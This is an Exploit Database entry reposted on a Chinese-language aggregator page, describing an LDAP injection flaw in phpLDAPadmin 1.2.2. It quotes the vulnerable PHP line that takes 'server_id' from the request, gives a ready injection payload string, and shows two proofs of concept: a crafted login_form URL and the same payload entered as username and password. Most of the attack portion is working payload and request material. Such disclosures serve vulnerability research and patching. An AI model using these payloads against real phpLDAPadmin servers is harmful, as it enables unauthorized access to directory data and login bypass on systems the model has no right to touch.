phpLDAPadmin 1.2.2 – ‘server_id’ LDAP Injection (Username)

• Exploit Database
• 18 阅读

• 作者： Berk Dusunur
  日期： 2018-06-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44926/

• # Exploit Title: phpLDAPadmin 1.2.2 - 'server_id' LDAP Injection (Username)
  # Google Dork:N/A
  # Date: 21.06.2018
  # Exploit Author: Berk Dusunur
  # Vendor Homepage: http://phpldapadmin.sourceforge.net
  # Software Link: http://phpldapadmin.sourceforge.net
  # Version: 1.2.2
  # Tested on: Pardus / Debian Web Server
  # CVE : N/A
  
  #Vulnerable Code
  $server =
  $_SESSION[APPCONFIG]->getServer(get_request('server_id','REQUEST'));
  if (count($server->untested()))
  system_message(array(
  
  #Payload
  
  !(()&&!|*|*|
  
  #PoC 1
  
  http://target/phpldapadmin/cmd.php?cmd=login_form&server_id=1!(()&&!|*|*|&redirect=true
  
  #PoC 2
  
  login panel username use !(()&&!|*|*| password !(()&&!|*|*|